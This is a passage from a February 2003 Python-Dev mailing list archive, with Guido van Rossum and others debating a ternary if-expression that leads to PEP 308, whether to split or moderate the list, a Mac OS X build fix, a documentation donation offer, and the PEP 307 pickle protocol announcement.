References: <20030206043026.GA29482@homer.gst.com>
 <20030206140647.GA1498@cthulhu.gerg.ca>
 <yu99fzr1cq4e.fsf@europa.research.att.com>
 <20030207130952.GC10095@cthulhu.gerg.ca>
Message-ID: <yu991y2ki26i.fsf@europa.research.att.com>

Greg> I also have a dim recollection of pestering Guido about the
Greg> statement/expression divide once, and he insisted that it was a
Greg> feature.  I respectfully disagree; I think we're all grown-ups
Greg> here and we can decide between ourselves when an expression is
Greg> really a statement.  This is one thing that I think C got right
Greg> (although "if (x = ...)" is an abomination that should, at the
Greg> very least, generate a stern warning).

Except that C does distinguish between expressions and statements
in a way that Algol 68 does not.  For example, in C you cannot write

        if (int sum = 0;
            for (i = 0; i != n; ++i) sum += x[i];
            sum > 0) {
                // ...
        }

but the corresponding construct is just fine in Algol 68:

        if int sum := 0;
           for i to n do sum := x[i] od;
           sum > 0
        then     ...
        fi

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From guido@python.org  Fri Feb  7 14:41:49 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 09:41:49 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Fri, 07 Feb 2003 08:09:52 EST."
 <20030207130952.GC10095@cthulhu.gerg.ca>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com>
 <20030207130952.GC10095@cthulhu.gerg.ca>
Message-ID: <200302071441.h17Efnm01815@odiug.zope.com>

> Yes!  My only experience with Algol 68 was in an undergrad programming
> language survey course about 10 years ago, and I remember thinking at
> the time that they really got it right back in '68.

ABC was designed by some folks who also worked on Algol 68.  I assure
you that some of the differences between Algol 68 and ABC came from
bitter experience with the former.

> I also have a dim recollection of pestering Guido about the
> statement/expression divide once, and he insisted that it was a
> feature.  I respectfully disagree; I think we're all grown-ups here and
> we can decide between ourselves when an expression is really a
> statement.  This is one thing that I think C got right (although
> "if (x = ...)" is an abomination that should, at the very least,
> generate a stern warning).

Huh?  Apart from the one thing you frown upon here, Python's
distinction between statements and expressions is pretty much the same
as that in C!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From oren-py-d@hishome.net  Fri Feb  7 14:59:35 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Fri, 7 Feb 2003 09:59:35 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
Message-ID: <20030207145935.GA2943@hishome.net>

On Thu, Feb 06, 2003 at 01:08:44PM -0500, Guido van Rossum wrote:
> > Guido> I think I've seen the suggestion
> > 
> > Guido>     x = (y if y>z else z)
> > 
> > Guido> :-)
> > 
> > That's not bad, even though it looks Perlish :-)
> > 
> > It has the advantage of looking like a list comprehension.
> > 
> > I presume the parentheses would be mandatory.
> 
> Maybe I should write a PEP and let the folks in c.l.py vote on it,
> just for fun.  (I expect to get about as many yes votes as no votes. :-)

Oh dear. If you are really going to do these these cutesy English-like
expressions I'd have to resurrect my old proposal of:

if CONDITION for some NAME in ITERABLE:
if CONDITION for every NAME in ITERABLE:
if CONDITION for no NAME in ITERABLE:

Please, dont make me do that ;-)

        Oren


From guido@python.org  Fri Feb  7 15:06:41 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 10:06:41 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Fri, 07 Feb 2003 09:59:35 EST."
 <20030207145935.GA2943@hishome.net>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
 <20030207145935.GA2943@hishome.net>
Message-ID: <200302071506.h17F6g902453@odiug.zope.com>

> Oh dear. If you are really going to do these these cutesy English-like
> expressions I'd have to resurrect my old proposal of:
> 
> if CONDITION for some NAME in ITERABLE:
> if CONDITION for every NAME in ITERABLE:
> if CONDITION for no NAME in ITERABLE:
> 
> Please, dont make me do that ;-)

An if-expression is frequently requested, and I expect people will
continue to ask for it until I add one :-)

Who (besides you) has ever asked for generalized quantifiers?  They
were in ABC, with slightly different syntax: 

  >>> IF EACH x IN {3; 6; 9} HAS x mod 3 = 0: WRITE "Yes"
  Yes
  >>>

But they weren't useful enough IMO to bother incorporating at the
time.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Feb  7 15:57:11 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 7 Feb 2003 09:57:11 -0600
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <ABD1FBA6-3A87-11D7-B739-0030655234CE@cwi.nl>
References: <2mel6mok20.fsf@starship.python.net>
 <ABD1FBA6-3A87-11D7-B739-0030655234CE@cwi.nl>
Message-ID: <15939.55127.701122.386388@montanaro.dyndns.org>

    Skip> I think the build worked fine for me back in October (at least I
    Skip> don't remember having to execute "make BUILDEXE=.exe".  It seems
    Skip> something changed in the intervening time.

    Michael> Hmm.  Looking at CVS suggests that 2.2 sets BUILDEXE correctly
    Michael> if you are building in-tree, but not out of tree.  Could that
    Michael> be the difference?

    Jack> Ah, that's the problem! Building out-of-tree doesn't work on the
    Jack> 2.2.X branch.

    Jack> This was in patch #557719, which was checked in as Makefile.pre.in
    Jack> 1.86.

I backported just the tiny bit necessary to get BUILDEXE set properly.
Thanks for the clues.

Skip



From Jack.Jansen@cwi.nl  Fri Feb  7 16:05:21 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 7 Feb 2003 17:05:21 +0100
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <F560DFFB-3AB5-11D7-B739-0030655234CE@cwi.nl>

On Friday, Feb 7, 2003, at 13:36 Europe/Amsterdam, Guido van Rossum 
wrote:

>> So, crazy idea for the morning.  Split that sentence up: have one
>> list (probably the existing python-dev) where the future of the
>> language is discussed.  Have another (python-implementors) where
>> anything that does not have a short-to-medium term effect on the
>> code in Python CVS is strictly forbidden.  Can this be made to work?
>> Or maybe the last month or so has been the exception and this list
>> will just naturally reqcquire some of it's focus.
>
> *If* we were to split this up, I'd rather create a new list for wild
> and crazy ideas.  But I'm -0 on splitting -- it wouldn't help *me*
> because I'd want to be on both lists anyway, and I'm not sure how many
> others are helped by it either -- I imagine that most people would
> want to be on both lists.

I'm +1 on the two lists, even though I would be on both lists too. 
However,
if the load on python-implementors went down I would actually be able 
to always read
that first thing in the morning (afternoon/evening/night:-), so I 
wouldn't miss any
important messages on 2.3aX distribution building started, or 
sourceforge downtime,
or known problems in the test suite, while I would read python-dev 
later.
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From lalo@laranja.org  Fri Feb  7 16:11:08 2003
From: lalo@laranja.org (Lalo Martins)
Date: Fri, 7 Feb 2003 14:11:08 -0200
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com> <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030207161108.GN6723@laranja.org>

Mailman has a nice feature named "topics"; if we could mark short-term
discussion with a special keyword, then people would be able to subscribe
just to this subset of the list if they wish (and other people would be able
to filter it to a different mailbox usng procmail or something similar, so
that short-term stuff is read in real-time and blue-sky is read, for
example, in the weekend).

Personally, like Guido, I'm +0 since I find blue-sky stuff as interesting as
short-term.

[]s,
                                               |alo
                                               +----
--
            Those who trade freedom for security
               lose both and deserve neither.
--
http://www.laranja.org/                mailto:lalo@laranja.org
         pgp key: http://www.laranja.org/pessoal/pgp

Eu jogo RPG! (I play RPG)         http://www.eujogorpg.com.br/
GNU: never give up freedom                 http://www.gnu.org/


From pedronis@bluewin.ch  Fri Feb  7 16:21:10 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Fri, 7 Feb 2003 17:21:10 +0100
Subject: [Python-Dev] Trinary Operators
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>              <20030207145935.GA2943@hishome.net>  <200302071506.h17F6g902453@odiug.zope.com>
Message-ID: <055b01c2cec4$ed430720$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > Oh dear. If you are really going to do these these cutesy English-like
> > expressions I'd have to resurrect my old proposal of:
> > 
> > if CONDITION for some NAME in ITERABLE:
> > if CONDITION for every NAME in ITERABLE:
> > if CONDITION for no NAME in ITERABLE:
> > 
> > Please, dont make me do that ;-)
> 
> An if-expression is frequently requested, and I expect people will
> continue to ask for it until I add one :-)
> 
> Who (besides you) has ever asked for generalized quantifiers?  They
> were in ABC, with slightly different syntax: 
> 

I would not dislike to have expression forms equivalent to applications of

def every(pred,l):
   for x in l:
     if not pred(x): return False
   return True

def some(pred,l):
   for x in in l:
     if pred(x): return True
  return False

def such(pred,l,otherwise=None):
   for x in in l:
     if pred(x): return x
  return otherwise
  
as list comprehension is equivalent to map and filter.



From tjreedy@udel.edu  Fri Feb  7 16:29:34 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Fri, 7 Feb 2003 11:29:34 -0500
Subject: [Python-Dev] Re: Trinary Operators
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>              <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com>
Message-ID: <b20mjd$fvb$1@main.gmane.org>

"Guido van Rossum" <guido@python.org> wrote in message
news:200302071506.h17F6g902453@odiug.zope.com...

> An if-expression is frequently requested, and I expect people will
> continue to ask for it until I add one :-)

In the past month alone, there have been threee separate threads on
clp started, I believe, by three separate people asking for or about
such.  I believe that it is by far the most freqenctly asked-for new
feature in that arena.

TJR





From tjreedy@udel.edu  Fri Feb  7 16:37:07 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Fri, 7 Feb 2003 11:37:07 -0500
Subject: [Python-Dev] Re: Re: How to lose potential users/developers
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com> <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <b20n1i$idd$1@main.gmane.org>

"Guido van Rossum" <guido@python.org> wrote in message
news:200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net.
..
> want to be on both lists.  Keeping traffic truly separated would
> require more policing of the list than I'd feel comfortable with.
I'm
> already uncomfortable with the tone of the messages that are
sometimes
> sent in reply to incidental "inappropriate" postings by first-time
> posters.

I have sometimes thought that py-dev would be improved by a mechanism
for moderation of first-time posts.  Spam would be blocked and
'inappropriate' first posts *politely* redirected to clp, the bug
list, or the patch list with carefully prewritten messages.  On the
other hand, I would probably have redirected the ternary op post and
missed the surprise of Guido apparently giving serious consideration
to an addition.

Terry J. Reedy





From guido@python.org  Fri Feb  7 16:35:44 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 11:35:44 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: Your message of "Fri, 07 Feb 2003 11:29:34 EST."
 <b20mjd$fvb$1@main.gmane.org>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com>
 <b20mjd$fvb$1@main.gmane.org>
Message-ID: <200302071635.h17GZiH08209@odiug.zope.com>

> In the past month alone, there have been threee separate threads on
> clp started, I believe, by three separate people asking for or about
> such.  I believe that it is by far the most freqenctly asked-for new
> feature in that arena.

OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off).

But as skeptical as I am (see what I added to FAQ 4.16), I'll take it
for a vote on c.l.py and if it doesn't get a clear majority vote (and
it'll be up to the c.l.py folks to define what that is :-), it'll
remain rejected forever.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pyth@devel.trillke.net  Fri Feb  7 16:47:25 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Fri, 7 Feb 2003 17:47:25 +0100
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Fri, Feb 07, 2003 at 07:36:04AM -0500
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com> <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030207174725.W1706@prim.han.de>

Guido van Rossum wrote:
> > So, crazy idea for the morning.  Split that sentence up: have one
> > list (probably the existing python-dev) where the future of the
> > language is discussed.  Have another (python-implementors) where
> > anything that does not have a short-to-medium term effect on the
> > code in Python CVS is strictly forbidden.  Can this be made to work?
> > Or maybe the last month or so has been the exception and this list
> > will just naturally reqcquire some of it's focus.
> 
> *If* we were to split this up, I'd rather create a new list for wild
> and crazy ideas.  But I'm -0 on splitting -- it wouldn't help *me*
> because I'd want to be on both lists anyway, and I'm not sure how many
> others are helped by it either -- I imagine that most people would
> want to be on both lists.  Keeping traffic truly separated would
> require more policing of the list than I'd feel comfortable with.  I'm
> already uncomfortable with the tone of the messages that are sometimes
> sent in reply to incidental "inappropriate" postings by first-time
> posters.

I am one of those developers who hasn't yet contributed much to
Python core and still took the freedom to discuss wild ideas 
(based on an actually working patch which is currently tested out
by a 3D-company, though). 

I am willing to start working on fixing bugs but i'd appreciate 
occasionally discussing blue-sky ideas.  Not reading certain threads
is quite easy with appropriate mail/news readers, anyway. 

Actually, Guido kind of encouraged quite some people by saying 
that he is exploring certain 'thunk' and timely-finalization 
constructs.

I am glad that Guido brings up the issue of 'tone of redirection
messages' and support the idea of doing it in the friendliest
way possible.  If someone insists and disregards comments then
that is a different matter, of course.  

IMO c.l.py neticens still manage to stay friendly although 
<insert your favourite annoyance here> happen dailiy.  And 
that is a very good thing which makes the python community 
quite unique. 

    holger


From aahz@pythoncraft.com  Fri Feb  7 16:52:26 2003
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 7 Feb 2003 11:52:26 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302071635.h17GZiH08209@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <b20mjd$fvb$1@main.gmane.org> <200302071635.h17GZiH08209@odiug.zope.com>
Message-ID: <20030207165226.GA21789@panix.com>

On Fri, Feb 07, 2003, Guido van Rossum wrote:
>
> OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off).
> 
> But as skeptical as I am (see what I added to FAQ 4.16), I'll take it
> for a vote on c.l.py and if it doesn't get a clear majority vote (and
> it'll be up to the c.l.py folks to define what that is :-), it'll
> remain rejected forever.

Um.  That's a tough bar, particularly given that some people are in
favor of a ternary operator, but only if it has a "reasonable" syntax.
I'm going to want separate votes for "should there be a ternary
operator?" and "what syntax should it have?"  If there's a clear
majority for the first part, but not the second part, I'd like instead
of being rejected forever, to be put on hold for a minimum of a year.

That reasonable?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From barry@python.org  Fri Feb  7 16:54:29 2003
From: barry@python.org (Barry A. Warsaw)
Date: Fri, 7 Feb 2003 11:54:29 -0500
Subject: [Python-Dev] Re: Re: How to lose potential users/developers
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>
 <2msmv0bbk4.fsf@starship.python.net>
 <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
 <b20n1i$idd$1@main.gmane.org>
Message-ID: <15939.58565.396337.151867@gargle.gargle.HOWL>

>>>>> "TR" == Terry Reedy <tjreedy@udel.edu> writes:

    TR> I have sometimes thought that py-dev would be improved by a
    TR> mechanism for moderation of first-time posts.  Spam would be
    TR> blocked and 'inappropriate' first posts *politely* redirected
    TR> to clp, the bug list, or the patch list with carefully
    TR> prewritten messages.  On the other hand, I would probably have
    TR> redirected the ternary op post and missed the surprise of
    TR> Guido apparently giving serious consideration to an addition.

This would be possible once I upgrade python-dev to Mailman 2.1, but
it would require diligent moderators.  One of the reasons we opened up
subscriptions was because no one could spend the time gardening the
admin requests.

-Barry


From guido@python.org  Fri Feb  7 17:05:05 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 12:05:05 -0500
Subject: [Python-Dev] Re: Re: How to lose potential users/developers
In-Reply-To: Your message of "Fri, 07 Feb 2003 11:37:07 EST."
 <b20n1i$idd$1@main.gmane.org>
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com> <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
 <b20n1i$idd$1@main.gmane.org>
Message-ID: <200302071705.h17H55E08953@odiug.zope.com>

> I have sometimes thought that py-dev would be improved by a mechanism
> for moderation of first-time posts.  Spam would be blocked and
> 'inappropriate' first posts *politely* redirected to clp, the bug
> list, or the patch list with carefully prewritten messages.  On the
> other hand, I would probably have redirected the ternary op post and
> missed the surprise of Guido apparently giving serious consideration
> to an addition.

If Barry wouldn't mind upgrading python-dev to Mailman 2.1, I'm all
for moderating new subscribers and non-subscribers.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Feb  7 17:10:44 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 12:10:44 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: Your message of "Fri, 07 Feb 2003 11:52:26 EST."
 <20030207165226.GA21789@panix.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <b20mjd$fvb$1@main.gmane.org> <200302071635.h17GZiH08209@odiug.zope.com>
 <20030207165226.GA21789@panix.com>
Message-ID: <200302071710.h17HAil08991@odiug.zope.com>

> Um.  That's a tough bar, particularly given that some people are in
> favor of a ternary operator, but only if it has a "reasonable" syntax.
> I'm going to want separate votes for "should there be a ternary
> operator?" and "what syntax should it have?"  If there's a clear
> majority for the first part, but not the second part, I'd like instead
> of being rejected forever, to be put on hold for a minimum of a year.

I think you can't separate the two votes so easily.  If I vote for a
ternary operator, but then something with an ugly syntax wins the
design contest, I may wish I had voted against in the first place.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Feb  7 17:33:36 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 12:33:36 -0500
Subject: [Python-Dev] For review: PEP 308 - If-then-else expression
Message-ID: <200302071733.h17HXaf09783@odiug.zope.com>

Given that if-then-else expressions keep being requested, I hereby put
forward a proposal.  I am neutral on acceptance of the proposal; I'd
like the c.l.py community to accept or reject it or come up with a
counter-proposal.  Please understand that I don't have a lot of time
to moderate the discussion; I'll just wait for the community to
discuss the proposal and agree on some way to count votes, then count
them.

http://www.python.org/peps/pep-0308.html

PLEASE DON'T DISCUSS THIS PROPOSAL ON PYTHON-DEV!

It's up to c.l.py now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Feb  7 17:36:49 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 7 Feb 2003 11:36:49 -0600
Subject: [Python-Dev] contributing documentation (fwd)
Message-ID: <15939.61105.511461.459313@montanaro.dyndns.org>

--fH3gxajBlh
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit


FYI.  I'll take a look at it, but should we just reference it or should it
be included in the site?

(Also included python-dev, since there are probably people there who will be
better review candidates.)

Skip


--fH3gxajBlh
Content-Type: message/rfc822
Content-Description: forwarded message
Content-Transfer-Encoding: 7bit

CONTENT-TRANSFER-ENCODING: quoted-printable
Content-Type: text/plain; charset=ISO-8859-1
Return-Path: <python-list-admin@python.org>
Received: from localhost [127.0.0.1]
        by localhost with POP3 (fetchmail-6.1.0)
        for skip@localhost (single-drop);
        Fri, 07 Feb 2003 11:27:04 -0600 (CST)
Received: from dolly1.pobox.com (dolly1.pobox.com [207.106.49.22])
        by manatee.mojam.com (8.12.1/8.12.1) with ESMTP id h17HQTQW032463
        for <skip@manatee.mojam.com>; Fri, 7 Feb 2003 11:26:29 -0600
Received: from dolly1.pobox.com (localhost.localdomain [127.0.0.1])
        by dolly1.pobox.com (Postfix) with ESMTP id 517722BEE4
        for <skip@manatee.mojam.com>; Fri,  7 Feb 2003 12:26:29 -0500 (EST)
Delivered-To: skip@pobox.com
Received: from mail.python.org (mail.python.org [12.155.117.29])
        by dolly1.pobox.com (Postfix) with ESMTP id 1D2352BF12
        for <skip@pobox.com>; Fri,  7 Feb 2003 12:26:29 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org)
        by mail.python.org with esmtp (Exim 4.05)
        id 18hCGZ-0002of-00; Fri, 07 Feb 2003 12:26:19 -0500
Path: news.baymountain.com!ash.uu.net!dca.uu.net!logbridge.uoregon.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-mail
Newsgroups: comp.lang.python
Organization: http://groups.google.com/
Lines: 12
Message-ID: <2259b0e2.0302070924.2c045eaf@posting.google.com>
NNTP-Posting-Host: 136.142.23.56
X-Trace: posting.google.com 1044638684 960 127.0.0.1 (7 Feb 2003 17:24:44 GMT)
X-Complaints-To: groups-abuse@google.com
NNTP-Posting-Date: 7 Feb 2003 17:24:44 GMT
Xref: news.baymountain.com comp.lang.python:204416
Errors-To: python-list-admin@python.org
X-BeenThere: python-list@python.org
X-Mailman-Version: 2.0.13 (101270)
Precedence: bulk
List-Help: <mailto:python-list-request@python.org?subject=help>
List-Post: <mailto:python-list@python.org>
List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>,
        <mailto:python-list-request@python.org?subject=subscribe>
List-Id: General discussion list for the Python programming language
        <python-list.python.org>
List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>,
        <mailto:python-list-request@python.org?subject=unsubscribe>
List-Archive: <http://mail.python.org/pipermail/python-list/>
X-Spambayes-Debug: '*H*': 1.00; '*S*': 0.00;
        'message-id:@posting.google.com': 0.00; 'python': 0.00;
        'header:X-Complaints-To:1': 0.01; 'corrections': 0.01;
        'url:python-list': 0.02; 'from:addr:pitt.edu': 0.02; 'url:listinfo': 0.02;
        'to:addr:python-list': 0.02; 'url:python': 0.02; 'simionato': 0.02;
        'url:mailman': 0.02; '2.3': 0.03; 'from:addr:mis6': 0.03;
        'from:name:michele simionato': 0.03; 'seems': 0.05;
        'to:addr:python.org': 0.05; 'url:phyast': 0.05; 'url:pitt': 0.05;
        'url:~micheles': 0.05; 'header:Organization:1': 0.06; 'c.l.p.': 0.07;
        'order"': 0.07; 'url:org': 0.07; 'header:Errors-To:1': 0.07;
        'url:mail': 0.09; 'subject:skip:d 10': 0.10; 'physics': 0.10;
        'url:edu': 0.11; 'quite': 0.15; 'astronomy': 0.19; 'added': 0.19;
        'some': 0.25; 'resolution': 0.26; 'hall': 0.27; 'should': 0.29; 'what': 0.31;
        'pittsburgh': 0.31; 'header:Message-ID:1': 0.34; 'michele': 0.34;
        'header:Received:5': 0.35; 'method': 0.37; 'foundation': 0.37; 'allen': 0.38;
        'stable': 0.38; 'essay': 0.40; 'would': 0.40; 'software': 0.62; '210': 0.62;
        'usa': 0.62; 'feedback': 0.62; '"the': 0.63; 'donate': 0.64; 'site': 0.66;
        'url:html': 0.68; 'url:www': 0.69; 'department': 0.74; 'weeks,': 0.80
From: mis6@pitt.edu (Michele Simionato)
Sender: python-list-admin@python.org
To: python-list@python.org
Subject: contributing documentation
Date: 7 Feb 2003 09:24:44 -0800
X-Spambayes-Classification: ham; 0.00

My essay on "The Python 2.3 Method Resolution Order" has been on my sit=
e
http://www.phyast.pitt.edu/~micheles/mro.html
for a few weeks, I have added some corrections based on the feedback fr=
om
people on c.l.p. and it seems quite stable now.
I would like to donate it to the Python Software Foundation and have it=
 in
http://www.python.org/

What should I do ?


Michele Simionato              Department of Physics and Astronomy
University of Pittsburgh       210 Allen Hall Pittsburgh PA 15260, USA
--=20
http://mail.python.org/mailman/listinfo/python-list

--fH3gxajBlh--


From mwh@python.net  Fri Feb  7 17:38:38 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 07 Feb 2003 17:38:38 +0000
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <b20mjd$fvb$1@main.gmane.org> ("Terry Reedy"'s message of "Fri,
 7 Feb 2003 11:29:34 -0500")
References: <20030206043026.GA29482@homer.gst.com>
 <20030206140647.GA1498@cthulhu.gerg.ca>
 <yu99fzr1cq4e.fsf@europa.research.att.com>
 <200302061702.h16H26723375@odiug.zope.com>
 <200302061707.h16H7Vm02222@europa.research.att.com>
 <200302061808.h16I8jM26135@odiug.zope.com>
 <20030207145935.GA2943@hishome.net>
 <200302071506.h17F6g902453@odiug.zope.com>
 <b20mjd$fvb$1@main.gmane.org>
Message-ID: <2mel6k56u9.fsf@starship.python.net>

"Terry Reedy" <tjreedy@udel.edu> writes:

> "Guido van Rossum" <guido@python.org> wrote in message
> news:200302071506.h17F6g902453@odiug.zope.com...
>
>> An if-expression is frequently requested, and I expect people will
>> continue to ask for it until I add one :-)
>
> In the past month alone, there have been threee separate threads on
> clp started, I believe, by three separate people asking for or about
> such.  I believe that it is by far the most freqenctly asked-for new
> feature in that arena.

OTOH, if I've been counting properly, there have been almost equally
many asking how to kill a thread from another thread.  Some questions
just don't go away.

Cheers,
M.

-- 
  I'm okay with intellegent buildings, I'm okay with non-sentient
  buildings. I have serious reservations about stupid buildings.
     -- Dan Sheppard, ucam.chat (from Owen Dunn's summary of the year)


From barry@python.org  Fri Feb  7 18:03:40 2003
From: barry@python.org (Barry A. Warsaw)
Date: Fri, 7 Feb 2003 13:03:40 -0500
Subject: [Python-Dev] Re: Re: How to lose potential users/developers
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>
 <2msmv0bbk4.fsf@starship.python.net>
 <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>
 <b20n1i$idd$1@main.gmane.org>
 <200302071705.h17H55E08953@odiug.zope.com>
Message-ID: <15939.62716.858714.853057@gargle.gargle.HOWL>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> If Barry wouldn't mind upgrading python-dev to Mailman 2.1,
    GvR> I'm all for moderating new subscribers and non-subscribers.

I'll do it after I release 2.1.1, which may be tonight.

-Barry


From guido@python.org  Fri Feb  7 18:33:23 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 13:33:23 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
Message-ID: <200302071833.h17IXNl11929@odiug.zope.com>

I'm assuming a fair number of people have been following this already
in the checkins list; I think it's ready for review on python-dev:

  http://www.python.org/peps/pep-0307.html

Quoting the introduction:

    Pickling new-style objects in Python 2.2 is done somewhat clumsily
    and causes pickle size to bloat compared to classic class
    instances.  This PEP documents a new pickle protocol in Python 2.3
    that takes care of this and many other pickle issues.

    There are two sides to specifying a new pickle protocol: the byte
    stream constituting pickled data must be specified, and the
    interface between objects and the pickling and unpickling engines
    must be specified.  This PEP focuses on API issues, although it
    may occasionally touch on byte stream format details to motivate a
    choice.  The pickle byte stream format is documented formally by
    the standard library module pickletools.py (already checked into
    CVS for Python 2.3).

    This PEP attempts to fully document the interface between pickled
    objects and the pickling process, highlighting additions by
    specifying "new in this PEP".  (The interface to invoke pickling
    or unpickling is not covered fully, except for the changes to the
    API for specifying the pickling protocol to picklers.)

Please don't pass this on to c.l.py or python-list yet until we've
gathered feedback from python-dev!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Feb  7 18:46:37 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 13:46:37 -0500
